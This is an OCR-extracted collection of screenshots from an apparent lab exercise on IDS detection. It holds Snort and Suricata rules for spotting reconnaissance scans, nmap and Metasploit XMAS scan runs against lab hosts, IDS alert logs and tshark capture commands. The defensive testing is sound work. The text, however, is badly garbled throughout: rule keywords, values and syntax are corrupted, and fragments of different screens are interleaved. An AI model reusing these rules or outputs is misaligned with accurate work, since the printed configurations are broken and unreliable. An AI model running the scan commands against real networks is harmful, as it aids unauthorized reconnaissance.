#alert tcp any any -> any any (msg:'EBroadcast MAC Address Detected”; flow:in,out; ether.src=FF:FF
#alert top any any -> any any (msg:'Broadcast MAC Address Detected”; flow:in,out; ether.dst=FF:FF

valert ip any any < any any (msg:'Fossible ARP Packet'; content:"ARP'; sid:199008; revil;

R R R R R R R R R R R R R R R R R R R RN RN AR RN
¢ Attempting to re-use Snort2 rules to detect reconnaissance traffic

¢ The rule below 1100524 works in Snort2 but not in Suricata

#alert top SEXTERNAL_NET any <> HOME_NET @ (msg:'BAD-TRAFFIC tcp port o traffic - Rule from Snort2"; flow:stateless; classtyp
#alert top any any < any 6 (ms:'Simplfied BAD-TRAFFIC tcp portd rule; sid 1101524; revi;

isc-activity; sid: 1100524; rev

R R R R R R R R R R R R R R R R R R R R R R R R R RN R AR AR AR R RN
¢ Attempting to detect Phase 1T Testing
¢ Phase 11 Test 1 - Hpingd SYN scan - WORKS

alert top any any -> any © (msg:'Possible HPING3 SYN Packet"; ttl:6d; flags:S; sid:1010001; reviz;
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# Phase II Test 5 - Arp-Scan
AR
# Phase II Test 6 - nbtscan SID:1060001 Horks

alert udp any any -> any 137 (msg:'Possible NETScan NetBIOS Scan'; sid:1060001; revid;

#alert udp any any -> any 137 (msg:'"Possible NBTScan NetBIOS Scan'; ttl:64; sid:1066002; rev:i;

#alert udp any any -> any 137 (msg:"Possible NBTScan NetBIOS Scan''; content:'|00 00 @0 20 60 60 60 60 00 00 06 00 00 00 00 00 00 00 60 60 60 00 00 00 00 00 0o By
#alert udp any any -> any 137 (msg:'Possible NBTScan NetBIOS Scan'; pkt_length:92; sid:1060004; rev:2;

AR

# Phase 1 Test 7 - fping SID:1670001 Does NOT Work. Observation, most fping packets are ARP only a couple of icmp packets. This rule does not trigger on norBy

#alert icmp any any -> any any (msg:'Fossible fping Scan'; icmp_tupe:8; icmp_code:o; sid:1070001; reviz;

AR

# Phase 1 Test 8-10 - ftest-Suricata SI0:1106001 Only works for port 139, SID:1168062 WORKS - Tt looks for packets with a TTL of 200, fairly unigue. SID:1108

#alert tcp any any -> any 139 (msg:'Possible ftest Scan”s sid:1100001; rev:z;

#alert tcp any any -> any any (msg:'Possible ftest Scan'; t11:200; sid:1100002; rev:2;

#alert tcp any any -> any any (msg:'Possible ftest Scan”; +11:200; window:>=65500; sid:1100003; rev:2;
alert top any any -> any any (msg:'Possible fiest Scan'; 111:200; flags:0; sid:1100004; rev:il;

AR
# Fhase II Test 11 - netdiscover ARP Scan

alert any any -> any any (msg:"ARP Packet Detected”; eth_tupe:0x0806; Sid:1110001; revii;

alert ethernet any any -> any any (msg:"L2 Frame Detected'; sid:1110002; rev:i;

alert eth_tupe arp any any -> any any (msg:"ARF Packet'; sid:1110003; revil;
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524 |/etc/snort/rules/bad-traffic.rule|alert tcp SEXTERNAL_NET any falert |tcp External |any Home [0 BAD-TRAFFIC tcp postateless N/A N/A N/A N/A misc-activity e
228 |/etc/snort/rules/scan.rules [alert tcp SEXTERNAL_NET any [alert |tcp External [any Home [any [SCAN nmap XMAS _|stateless FPU,12 N/A N/A larachnids,30_|attempted-recon
Man |/etc/snort/rules/snmp.rules _|alert udp SEXTERNAL_NET anylalert |udp External [any Home _[161 [SNMP public access [N/A N/A public N/A reference:bug|attempted-recon o
Ma17 |/etc/snort/rules/snmp.rules _|alert udp SEXTERNAL_NET anylalert |udp External [any Home _[161 [SNMP request udp [N/A N/A N/A N/A reference:bug|attempted-recon 5
Ma1s |/etc/snort/rules/snmp.rules _|alert tcp SEXTERNAL_NET any [alert |tdp External [any Home _[161 [SNMP request tcp _|stateless N/A N/A N/A reference:bug|attempted-recon 11
Ma1s |/etc/snort/rules/snmp.rules _|alert udp SEXTERNAL_NET anylalert |udp External [any Home [162 [SNMP trap udp N/A N/A N/A N/A reference:bug|attempted-recon 11
Ma20 |/etc/snort/rules/snmp.rules _|alert tcp SEXTERNAL_NET any [alert |tcp External [any Home [162 [SNMP trap tcp [stateless N/A N/A N/A reference:bug|attempted-recon 11
Mazn |/etc/snort/rules/snmp.rules _|alert tcp SEXTERNAL_NET any [alert |tcp External [any Home [SNMP AgentX/tcp rdstateless N/A N/A N/A reference:bug|attempted-recon 11
Maaa |/etc/snort/rules/tftp.rules lalert udp SEXTERNAL_NET anylalert |udp External [any Home [69 [TFTP Get Jooo1] N/A N/A bad-unknown é
"1566 |/etc/snort/rules/web-cgi.rules |alert tcp SEXTERNAL_NET any [alert |tcp External [any [HTTP_Srv [HTTP Port|WEB-CG eshop.pl alto_server,established N/A [/eshop.pl|reference:bug{web-application-activit]
r |07|version"; offset:12; nocase;
1616 |/etc/snort/rules/dns.rules lalert udp SEXTERNAL_NET anylalert |udp External |any Home |53 DNS named version|N/A N/A |04]bind| 00| "; offset:12; nocase; N/A reference:arac|attempted-recon 7
"1867 |/etc/snort/rules/misc.rules lalert udp SEXTERNAL_NET anylalert |udp External [any Home [177 [MISC xdmep info qu[N/A N/A 1000100020001 00] N/A nessus, 10891 |attempted-recon i
r "M-SEARCH; depth:9";
1917 |/etc/snort/rules/scan.rules lalert udp SEXTERNAL_NET anylalert |udp External |any Home _|1900 |SCAN UPNP service {N/A N/A "ssdp| 3| discover"; N/A N/A network-scan 6
r 7000187 88| "; depth:d; offseti12;

|00 0000 00| distance:
1957 |/etc/snort/rules/rpc.rules lalert udp SEXTERNAL_NET anylalert |udp External |any Home |any RPC sadmind UDP PING 100 00 00 00| "; depth:4; offset: N/A bugtrag,866 s
%332 |/etc/snort/rules/ftp.rules [alert tcp SEXTERNAL_NET any [alert |tcp External [any Home  [21 [FTP MKDIR format s{to_server,established "MKDIR"; nocase; pere:"/"MKDIR\s["\n] {N/A bugtrag,5262_|misc-attack. i
%339 |/etc/snort/rules/tftp.rules lalert udp SEXTERNAL_NET anylalert |udp External [any Home [69 [TFTP NULL command attempt "|oo0o["; N/A bugtrag, 7575; |bad-unknown £
%37 |/etc/snort/rules/ddos.rules _|alert udp SEXTERNAL_NET anylalert |udp External [any Home  [2744 [DDOS Trin00 Master[N/A N/A 144adsl; N/A |arachnids, 197 [attempted-dos £
7269 |/etc/snort/rules/icmp.rules __|alert icmp SEXTERNAL_NET anlalert |icmp External [any Home [any ICMP PING NMAP_[N/A b B N/A N/A N/A |arachnids, 162 [attempted-recon é
%520 [/etc/snort/rules/tftp |alert udp SEXTERNAL_NET anyfalert |udp External [any Home [69 [TFTP root directory. N/A [N/A N/A 10001[/; depth:3; N/A |arachnids, 138; [bad-unknown 5
%566 |/etc/snort/rules/policy.rules_|alert udp SEXTERNAL_NET anylalert |udp External [any Home  [5632 [POLICY PCAnywhere server re{N/A |N/A N/A [ST; deptt N/A |arachnids, 239 [misc-activity a
%621 |/etc/snort/rules/scan.rules [alert tcp SEXTERNAL_NET any [alert |tcp External [any Home [any [SCAN FIN [stateless [N/A |N/A F,12 N/A N/A |arachnids,27; |attempted-recon
%623 |/etc/snort/rules/scan.rules [alert tcp SEXTERNAL_NET any [alert |tcp External [any Home [any [SCAN NULL [stateless [N/A |N/A b fo o InA N/A larachnids,4__|attempted-recon; 6
%634 |/etc/snort/rules/scan.rules [alert udp SEXTERNAL_NET anylalert |tcp External [any Home  [10080:100{SCAN Amanda clien{stateless [N/A [N/A N/A[N/A__|N/A["Amanda"; nocase; N/A N/A |attempted-recon; A
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Nmap scan report for 10.0.2.70
oz 35 up'(0.0000040s Tatency). AOA© = R Q€ >
AUL 1000 scanned ports on 10.0.2.70 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

(W[Apply a display filter .. <Ctri-/>

No. Time

Nnap done: 128 TP addresses (14 hosts up) scanned in 11.24 seconds TS

8234140,

973757

©o o )-[/home/kali

. 10.0.2.0/25 S
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 15:32 BST SR
Nmap scan report for 10.0.2.1 9740136,
Host is up (0.00036s latency). 5041851
Not shown: 999 closed tcp ports (reset) 3 8196496.
PORT  STATE SERVICE 7.8200192
53/tcp open|filtered domain 8226564,

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC) 822823
8229284,
Nmap scan report for 10.0.2.2 8231415

Host is up (0.00013s latency). 7.8232437.
ALL 1000 scanned ports on 10.0.2.2 are in ignored states. 8234192
Not shown: 1080 open| filtered tcp ports (no-response) 8234897
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC) 8387563

Nmap scan report for 10.0.2.3 e
Host is up (0.000084s latency). il
ALl 1000 scanned ports on 10.0.2.3 are in ignored states.

Not shown: 1000 filtered tcp ports (proto-unreach)

MAC Address: 08:00:27:E8:F6:BF (PCS Systemtechnik/Oracle VirtualBox virtu

» Frame 1: 74 bytes on wire (592 bits), 7
al NIC) K
,

Ethernet II, Src: PCSSystemtec_79:fd:cc
Internet Protocol Version 4, Src: 16.0

Nmap scan report for 10.0.2.10

Host is up (0.00061s latency).

ALl 1000 scanned ports on 10.0.2.10 are in ignored states.

Not shown: 1000 open|filtered tcp ports (no-response) ® E etho:

live capture in progress>

>
@ right i
53

A s B
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1 {ICP} 10.0.2.70:58076 —> 10.0.2.11:5801
10/03/2025-14:54:56.405985 [**] [1:2233003:1] SURICATA RFB Unexpected State
in Parser [**] [Classification: Generic Protocol Command Decode] [Priority: 3
1 {TCP} 10.0.2.11:5901 -> 10.0.2.70:58076

10/03/2025-14:54:56.407208 [**] [1:2233003:1] SURICATA RFB Unexpected State
in Parser [**] [Classification: Generic Protocol Command Decode] [Priority: 3
1 {TCP} 10.0.2.70:58078 -> 10.0.2.11:5301

10/03/2025-14:54:56.407851 [**] [1:2233003:1] SURICATA RFB Unexpected State
in Parser [**] [Classification: Generic Protocol Command Decode] [Priority: 3
1 {TCP} 10.0.2.11:5901 -> 10.0.2.70:58078

10/03/2025-14:56:00.944040 [**] [1:2230002:1] SURICATA TLS invalid record ty]
pe [**] [Classification: Generic Protocol Command Decode] [Priority: 3] (ICP
10.0.2.111:21 -> 10.0.2.70:48218

10/03/2025-14:58:24.613766 [**] [1:2019102:1] ET DOS Possible SSDP Amplifical
tion Scan in Progress [**] [Classification: Attempted Denial of Service] [Bri
ority: 2] {UDP} 10.0.2.70:33374 -> 10.0.2.1:1900

10/03/2025-15:32:03.423382  [**] [1:2210054:1] SURICATA STREAM excessive retz|
ansmissions [**] [Classification: Generic Protocol Command Decode] [Priorit:
3] {TCP} 10.0.2.51:22 -> 10.0.2.120:48796

1072
10/03-15:32:12.580047 [**] [1:1228:7] SCAN nmap XMAS [**] [Classificacion: A|
ttempted Informavion Leak] [Priority: 2] (ICP} 10.0.2.70:60018 —> 10.0.2.101
1072

10/03-15:32:12.580090  [**] [1:1228:7] SCAN nmap XMAS [**] [Classificacion: A|
ttempted Informavion Leak] [Priority: 2] (ICP} 10.0.2.70:60018 —> 10.0.2.100
826

10/03-15:32:12.580090  [**] [1:1228:7] SCAN nmap XMAS [**] [Classificacion: A|
ttempted Informavion Leak] [Priority: 2] (ICP} 10.0.2.70:60018 —> 10.0.2.101
826

|20/03-15:32:12.580050 [**] [1:1228:7) SCAN mnmap XiAS [**] [Classificavion: 3|
ttempted Informavion Leak] [Priority: 2] (ICP} 10.0.2.70:60018 —> 10.0.2.100
264

10/03-15:32:12.580118  [**] [1:1228:7] SCAN nmap XMAS [**] [Classificacion: A|
ttempted Informavion Leak] [Priority: 2] (ICP} 10.0.2.70:60018 —> 10.0.2.100

5.308339 [**] [116:58:1] " (tcp) experimental
[**] (Priority: 3] (TCP} 10.0.2.112:49896 —> 1.0.0.1:53
10/03-15:32:35. 717683 [**] [112:1:1] " (arp_spoof) unicast
Priority: 3] (ARP} ->
10/03-15:32:36.202472 [**] [112:1:1] " (azp_spoof) unicast
Priority: 3] (ARP} ->
10/03-15:32:43.201831 [**] [112:1:1] " (arp_spoof) unicast
Priority: 3] (ARP} ->
10/03-15:32:43.323280 [**] [116:58:1] " (tcp) experimental
[**] (Priority: 3] (TCP} 10.0.2.112:34182 —> 1.0.0.1:53
10/03-15:32:45.352522 [**] [112:1:1] " (arp_spoof) unicast
Priority: 3] (ARP} ->

:48.630783 [**] [112:1:1] "(arp_spoof) unicast
Priority: 3] (ARP}) ->
10/03-15:32:53.332974 [**] [116:58:1] " (tcp) experimental
[**] (Priority: 3] (TCP} 10.0.2.112:59294 —> 1.1.1.1:53

options found"

requestn [**]

requestn [**]

requestn [**]

options found"

requestn [**]

requestn [**]

options found"

©
I

7 5.951760675
& 6.01346605¢

s packets captured

root@suricaca:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tep port 22 af

Running as user "root" and group "root”. This could be dangerous

Capturing on 'enpos3’

csnark: The file to which the capture would be saved ("PHASEl-Suricata.

root@suricata:/home/cslab/Wireshark tshark -i enp0s3 —f "not top port

nd not ipe" -w PHASEl-Suricata.pcap

Running as user "root" and group "root!

Capturing on 'enpos3’

cshark: The file to which the capture would be saved

") could not be opened: No such file or directory

root@suricata:/home/cslab/Wiresharks cd .

root@suricata:/home/cslab} cd /home/cslab/Wireshark/

root@suricata:/home/cslab/Wireshark tshark -i enp0s3 —f "not top port

nd not ipe" -w PHASEl-Suricata.pcap

10.0.2.112 ~ 1.0.0.1
10.0.2.101 ~ 10.0.2.255

TCP 74 [TCP Revransmission]
BROWSER 243 Host Announcement|

This could be dangerous.

BHASEL-Suricata.

Running as user "rost and group "rost". This could be dangezous.
Capturing on *enposs’
315656 []

rand-1ine arguments.
[root@snort2: /nome/cslab/Wiresharks tshark -i enp0s3 -f “not tep port 22 and
o ipe" -w PEASE1-Snort2.peap
> ~c
[root@snort2: /nome/cslab/Wiresharks tshark -i enp0s3 —f "not tep port 22 and
o ipe" -w PEASE1-Snort2.peap
Running as user "root™ and group "root!
Capturing on 'enposs’
csnark: The file to wnich the capture would be saved ("PHASE1-Snort2.pcap™
[ould not be opened: No such file or directory.
root@snorc2:/nome/cslab/Wireshark cd ..
rootesnort2: /nome/cslabt cd /nome/cslab/Wireshark/
[root@snort2: /nome/cslab/Wiresharks tshark -i enp0s3 -f "not tep port 22 and
o ipe" -w PEASE1-Snort2.peap

" and group "root!

This could be dangerous.

This could be dangerous.

Snort3: Test30 - Nmap XMAS Tree Alerts not visible.

See Snort3: Test30 - Nmap XMAS Tree Alerts below from
alert log:

TNETT17031/1.

NI VIRT
2480
22564 13568

3712
9472

1 66832 13624 17472

2821 27264
29068 7664
2821 27264
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2821 27264
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282y 27264
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. ees3z
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T
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Tasks: 52,

] Tasks: 52, 40 thr :
] Load average:

0.0 0.06 0.0

51 thr

1 running
s

htop
/sbin/inic
/usx/1ib/syst|
/sbin/maltipal
/usx/1ib/syst|

;1 runnin

Load average: 0.00 0.02 0.00

Uptine: o

)
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570¢
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570¢
570¢
5704

Tasks: 48,

27 thr

Load average: 0.37 0.31
Uptime: 02:56:15
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msf6 > use auxiliary/scanner/portscan/xmas
msf6 auxiliary(- -0 o ccan/ias) > show options

Module options (auxiliary/scanner/portscan/xmas):

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to scan per set

DELAY o yes The delay between connections, per thread, in milliseconds

INTERFACE no The name of the interface

JITTIER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds

PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
SNAPLEN 65535 yes The number of bytes to capture

THREADS 1 yes The number of concurrent threads (max one per host)

TIMEOUT 500 yes The reply read timeout in milliseconds

View the full module info with the info, or info -d command.

msf6 auxiliary(-<nier/poriscan/xias) > set batchsize 256

atchsize = 256

nsf6

delay = 0

6 auxiliary(scanner/portscan/xmas)
tter = 0

nSf6 auxiliary(scanner/portscan/xmas)
ports = 1-10000

nsf6 auxiliary(scanner/portscan/xmas)
rhosts = 10.0.2.50

nsf6 auxiliary(scanner/portscan/xmas)

>

>

auxiliary(-cannes/portacan/ i) > set delay @

set jitter o
set ports 1-10000
set rhosts 10.0.2.50

O¢ & g7o|a e

(<]
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letasploit Documentation: https://docs.metasploit.com/

15f6 > use auxiliary/scanner/portscan/xmas
156 auxildary(:coiier/poriccin/as) > show options

odule options (auxiliary/scanner/portscan/xmas)

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to scan per set

DELAY o yes The delay between connections, per thread, in milliseconds

INTERFACE The name of the interface

JITTER 0 The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds

PORTS 1-10000 Ports to scan (e.g. 22-25,80,110-900)

RHOSTS The target host(s), see https://docs.metasploit.com/docs/using-netasploit/basics/

using-metasploit.html

SNAPLEN 65535 The number of bytes to capture

THREADS 1 The number of concurrent threads (max one per host)

TIMEOUT 500 The reply read timeout in milliseconds 27 47 ef do 08
6e 23 40 00 80

i full le info wi £ £ c2 85 00 16 58
iew the full module info with the info, or info -d command. 5d 43 00 00 00

15£6 auxiliary(sciner/poriscan/iias) > set RHOST 10.0.2.111

Packets: 4765 Profile: Default
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HOST = 10.0.2.111 = o

1SF6 auxiliary(scanner/portscan/ias) > run n<«>EHEoooHERE
usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:123: warning: undefining the allocator of T_DATA class PCAPR =+

*] TCP OPEN|FILTERED 10.0.2.111:

Destination Protocol Length Info

*] TCP OPEN|FILTERED 10.
%] TCP OPEN|FILTERED 10.

111
1113

0.2
+] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111: jLoz0z2atiy

+] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111

] TCP OPENIFILTERED 10.0.2.111

] TCP OPEN|FILTERED 10.0.2.111

] TCP OPENIFILTERED 10.0.2.111

] TCP OPENIFILTERED 10.0.2.111

] TCP OPENIFILTERED 10.0.2.111

] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111 08 00 27 47 ef do 08 00 27 od de
+] TCP OPENIFILTERED 10.0.2.111: CH 20 G 29 40 G0 60 G5 74 0B G
e i s R
+] TCP OPENIFILTERED 10.0.2.111

+] TCP OPENIFILTERED 10.0.2.111: 4026 5d 43 00 00 00 00 00 00 00

0.2
0.2

Packets: 6320 Profile: Default

>





image136.png
.0.2.70:8 —> 10.0.2.120:%
10/03/2025-15:44:47.015420 [**] [1:220002!
1] [Classification: Generic Protocol Command Decode]
.0.2.70:8 > 10.0.2.
10/03/2025-15:44:47.015479  [**] [1:2200025:
1] [Classification: Generic Protocol Command Decode]
.0.2.70:8 —> 10.0.2.
10/03/2025-15:44:47.015479  [**] [1:220002!
1] [Classification: Generic Protocol Command Decode]
.0.2.1:0 —> 10.0.2.70:8
10/03/2025-15:44:47.686085 [**] [1:220002!
1] [Classification: Generic Protocol Command Decode]
.0.2.70:8 > 10.0.2.
10/03/2025-15:44:48.627223  [**] [1:2200025:
1] [Classification: Generic Protocol Command Decode]
.0.2.70:8 —> 10.0.2.2:
10/03/2025-15:44:50.261760  [**]
**] [Classification
.0.2.70:8 > 10.0.2.

1 SURICATA ICMPv4 unknown code [|
(Prioricy: 3] {IcMP} 1of

1 SURICATA ICMPv4 unknown code [|
(Prioricy: 3] {IcMP} 1of

1 SURICATA ICMPv4 unknown code [|
(Prioricy: 3] {IcMP} 1of

1 SURICATA ICMPv4 unknown code [|
(Prioricy: 3] {IcMP} 1of

1 SURICATA ICMPv4 unknown code [|
(Prioricy: 3] {IcMP} 1of
[1:2200025:2] SURICATA ICMPv4 unknown code [|
(Prioricy: 3] {IcMP} 1of

Generic Protocol Command Decode]

sle
10/03-16:07:02.338466  [**]
trempted Information Leak]
517

10/03-16:07:02.841928  [**] [1:1228:7] SCAN nmap XMAS [**] [Classificacion: 2|
ttempted Information Leak] [Priority: 2] (ICP} 10.0.2.70:11800 —> 10.0.2.111:
318

10/03-16:07:02.851523  [**]
ttempted Information Leak]
19

110/03-16:07:03.356006  [**]
trempted Information Leak]
520

10/03-16:07:03.358171  [**]
trempted Information Leak]
521

0

[1:1228:7] SCAN nmap XMAS [**] [Classification: 3|
(Priority: 2] {TCP} 10.0.2.70:38294 -> 10.0.2.111:

[1:1228:7] SCAN nmap XMAS [**] [Classification: 3|
(Priority: 2] {TCP} 10.0.2.70:14171 -> 10.0.2.111:

[1:1228:7] SCAN nmap XMAS [**] [Classification: 3|
(Priority: 2] {TCP} 10.0.2.70:15771 -> 10.0.2.111:

[1:1228:7] SCAN nmap XMAS [**] [Classification: 3|
(Priority: 2] {TCP} 10.0.2.70:36136 -> 10.0.2.111:

Capruring on 'enp0as’
anark: The file to wich the caprure would be ssved ("EASEl-Suricata.
oot@auricata:/nome/calan/Wizesnarké Cahark -1 emp0s3 <f "mot top port
od ot spe” - PHASE1-Suricata.peap
Running as user "rootn and growp "root”
Capturing on ‘enposs’

anark: The file to which the caprure vould be saved ("PEASEl-Suricata
") could not be opened: No such file or directory.

ooteauricata: /nome/calan/Wizesnarkt od ..

cocteauricata:/nome/calant ca /nome/cslab,Wizesnazk/
oot@auzicata:/nome/calan/Wiresnarkt canark -1 eap0s3 ~f "mot top port
od ot spe” - PHASE1-Suricata.peap

Running as user "rost and group "rost*. This could be dangezous.
Capturing on *enposs’

483105 ~C

ooteauricata:/nome/calan/Wiresnarké Tanark -5 emp0s3 ~f "mot top port
d ot spe” —w PHASE1-SuricataMetasploit.poap

Running as user "rost and group "rost*. This could be dangezous.
Capturing on *enposs’

Lsc1 []

This could be dangerous.

o ipe" -w PEASE1-Snort2.pcap

Running as user "root™ and group "root!
Capturing on 'enposs’

csnark: The file to wnich the capture would be saved ("PHASEl-Snort2.pcap”) cf
ould not be opened: No such file or directory.
root@snorc2:/nome/cslab/Wireshark cd ..
rootesnort2: /nome/cslabt cd /nome/cslab/Wireshark/
root@snort2: /nome/cslab/Wiresharks tshark -i enp0s3
o ipe" -w PEASE1-Snort2.peap

Running as user "root™ and group "root!
Capturing on 'enposs

282585 ~C

root@snort2: /nome/cslab/Wiresharks tshark -i enp0s3
ot ipe" -w PHASE1-Snorc2-Metasploit.pcap
Running as user " and group "root!

This could be dangerous.

"not tcp port 22 and nf

This could be dangerous.

"not tcp port 22 and nf

This could be dangerous.

LT 17081/1.5:

NI

VIRT

c836

2480
13568
18850
27264

7664
27264
27264
27264
27264
27264

e

NI

VIRT

] Tasks: 52, 41 thr

;1 running

] Load average: 0.10 0.10 0.03

] Uptim

MEME
2952
3712
9472

17728
s70¢
2976
570¢
570¢
570¢
570¢
5704

Tasks: 53, 36 thr
Load average
Uptine: 0

SHR
)
18116
5702
570¢
298¢
570¢
570¢
5704

ssnd
ntop
/sbin/inic
/usx/1ib/syst|
/sbin/maltipal
/usx/1ib/syst|

;1 runnin

0.00 0.00 0.00

[Priority: 3] (TCP} 10.0.2.70:11505 -> 10.0.2.111:315

10/03-16:07:01.949693 [**] [116:423:1]
*] [Priority: 3] {TCP} 10.0.2.70:11505
10/03-16:07:01.949693 [**] [116:422:1]
shed session" [**] [Priority: 3] (TCP}
10/03-16:07:02.454179 [**] [116:401:1]

"(tcp) TCP has no SYN, ACK, or RST" [
-> 10.0.2.111:315

"(tcp) TCP PDU missing ack for establil
10.0.2.70:11505 -> 10.0.2.111:315

" (tcp) Nmap XMAS attack detected” [**]

[Priority: 3] (TCP} 10.0.2.70:53206 -> 10.0.2.111:316

10/03-16:07:02.454179 [**] [116:423:1]
*] [Priority: 3] {TCP} 10.0.2.70:53206
10/03-16:07:02.454179 [**] [116:422:1]
shed session" [**] [Priority: 3] (TCP}
10/03-16:07:02.464716 [**] [116:401:1]

"(tcp) TCP has no SYN, ACK, or RST" [
-> 10.0.2.111:316

"(tcp) TCP PDU missing ack for establil
10.0.2.70:53206 —> 10.0.2.111:316

" (tcp) Nmap XMAS attack detected” [**]

[Priority: 3] (TCP} 10.0.2.70:38294 -> 10.0.2.111:317

10/03-16:07:02.464716 [**] [116:423:1]
*] [Priority: 3] {TCP} 10.0.2.70:38294
10/03-16:07:02.464716 [**] [116:422:1]
shed session" [**] [Priority: 3] (TCP}

©
I

"(tcp) TCP has no SYN, ACK, or RST" [
-> 10.0.2.111:317

"(tcp) TCP PDU missing ack for establil
10.0.2.70:38294 —> 10.0.2.111:317

[The RTT to ACK the segment was: 0.000144880 seconds]

22972 packets captured
ro0t@snort3:/home/cslab/Wiresharkf cd ..
ro0t@snort3:/home/cslab} cd /home/cslab/Wireshark/
£00t@snort3: /home/cslab/Wiresharki

c
soot@ancrta: /nome/cslab/Wizesnark} tshark -3 enpos3
ot ip6" -4 PEASEL-Snortd.poap

Running as user "root" and growp "root". This could
Capturing on *enpos3’

83551 ~C

zoot@anorca: /nome/cslab/Wizesnark} tshark - enpos3
ot ip6" - PHASEL-Snorc3-Hetasploit.pcap

Running s user "root" and growp "oot. This could
Captuzing on *enposs’

157 I

NI VIRT

"ot top port 22 and nf o s
330
22064
. ees3z
282
25932
282
282
282
2521
T

dangerous.

"not top port 22 and nf

dangerous.

Tasks: 43, 28 thr 7 1 runnin
Load average: 0.20 0.22 0.24
Uptime: 03:30:18

MEM:  TDME:

99, Lsbin/malt]
60" 7sbin/ma1c|

B o

1607
oz B
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P Kali-70 (Kali

Machine ~ Vie

forking) [Running] -

Input_ Device:

root@kali: homelkali
File Actions Edit View Help

6667/tcp open| filtered irc

8009/tcp open| filtered ajp13

8180/tcp open| filtered unknown

MAC Address: 08:00:27:CB:AB:5C (PCS Systemtechnik/Oracle VirtualBox virtu
al NIC)

Nmap scan report for 10.0.2.11
Host is up (0.000165 latency)

Not shown: 997 closed tcp ports (reset)

PORT  STATE SERVICE

22/tcp open|filtered ssh

80/tcp open|filtered http

443/tcp open| filtered https

MAC Address: 08:00:27:79:FD:CD (PCS Systemtechnik/Oracle VirtualBox virtu
al NIC)

Nmap scan report for 10.0.2.120
Host is up (0.000245 latency)

AUL 1000 scanned ports on 10.0.2.120 are in ignored states

Not shown: 1000 open| filtered tcp ports (no-response)

MAC Address: 08:00:27:0D:DE:1E (PCS Systemtechnik/Oracle VirtualBox virtu
al NIC)

Nmap scan report for 10.0.2.70
Host is up (0.0000040s latency)

ALL 1000 scanned ports on 10.0.2.70 are in ignored states
Not shown: 1000 closed tcp ports (reset)

Nmap done: 128 TP addresses (14 hosts up) scanned in 13.16 seconds

[ home/katd
+ nmap -sN -f 10.0.2.0/25
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 15:38 BST

O =

Capturing from

ile Edit View Go Capture Analyze Statistics

ADA® nBB@ o « »

(W[Apply a display filte

No. Time Source
4170.. 3739.0003400.. 10
4170.. 3739.0003563.. 10

9
©903740.
0003833
0003898
9904049,
0004129,
9004262
9472334,
9472597,
©472707.
9472799,
9472864,

<Ctrl-/>

©473085.
9473863

» Frame 1: 74 bytes on wire (592 bits),
» Ethernet II, Src: PCSSystemtec 79:fd:c
» Internet Protocol Version 4, Src: 16.0

[ Transmission Control Protocol, Src Por:

®E eth

live capture in progress>

>
Right Ctr

1@ G
1538

A g0 B
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1 {ICP} 10.0.2.70:58076 —> 10.0.2.11:5801
10/03/2025-14:54:56.405985 [**] [1:2233003:1] SURICATA RFB Unexpected State
in Parser [**] [Classification: Generic Protocol Command Decode] [Priority: 3
1 {TCP} 10.0.2.11:5901 -> 10.0.2.70:58076

10/03/2025-14:54:56.407208 [**] [1:2233003:1] SURICATA RFB Unexpected State
in Parser [**] [Classification: Generic Protocol Command Decode] [Priority: 3
1 {TCP} 10.0.2.70:58078 -> 10.0.2.11:5301

10/03/2025-14:54:56.407851 [**] [1:2233003:1] SURICATA RFB Unexpected State
in Parser [**] [Classification: Generic Protocol Command Decode] [Priority: 3
1 {TCP} 10.0.2.11:5901 -> 10.0.2.70:58078

10/03/2025-14:56:00.944040 [**] [1:2230002:1] SURICATA TLS invalid record ty]
pe [**] [Classification: Generic Protocol Command Decode] [Priority: 3] (ICP
10.0.2.111:21 -> 10.0.2.70:48218

10/03/2025-14:58:24.613766 [**] [1:2019102:1] ET DOS Possible SSDP Amplifical
tion Scan in Progress [**] [Classification: Attempted Denial of Service] [Bri
ority: 2] {UDP} 10.0.2.70:33374 -> 10.0.2.1:1900

10/03/2025-15:32:03.423382  [**] [1:2210054:1] SURICATA STREAM excessive retz|
ansmissions [**] [Classification: Generic Protocol Command Decode] [Priorit:
3] {TCP} 10.0.2.51:22 -> 10.0.2.120:48796

05

10/03°15:38:15.440366  [**] [1:1421:11] SNMP AgentX/tcp request [+

ication: Attempted Information Leak] [Priority: 2] (ICP) 10.0.2.7

0.0.2.100:705

10/03°15:38:15.652878  [**] [1:1421:11] SNMP AgentX/tcp request [+

ication: Attempted Information Leak] [Priority: 2] (ICP} 10.0.2.7

0.0.2.101:705

10/03°15:38:15.788050  [**] [1:1421:11] SNMP AgentX/tcp request [**

ication: Attempted Information Leak] [Priority: 2] (ICP} 10.0.2.7

0.0.2.101:705

|10/03-15:38:33.737148  [**] [1:1418:11] SNMP request tcp [**] [Classification]
Atcempted Information Leak] [Priority: 2] (ICP} 10.0.2.70:57153 —> 10.0.2.3

1161

10/03-15:38:33.867102 [**] [1:1418:11] SNMMP request top [**] [Classificavion)

: Attempted Information Leak] [Priority: 2] (TCP} 10.0.2.70:57155 > 10.0.2.3
61

*] [Prioricy:
10/03-15:3;
*1 [Prioricy:

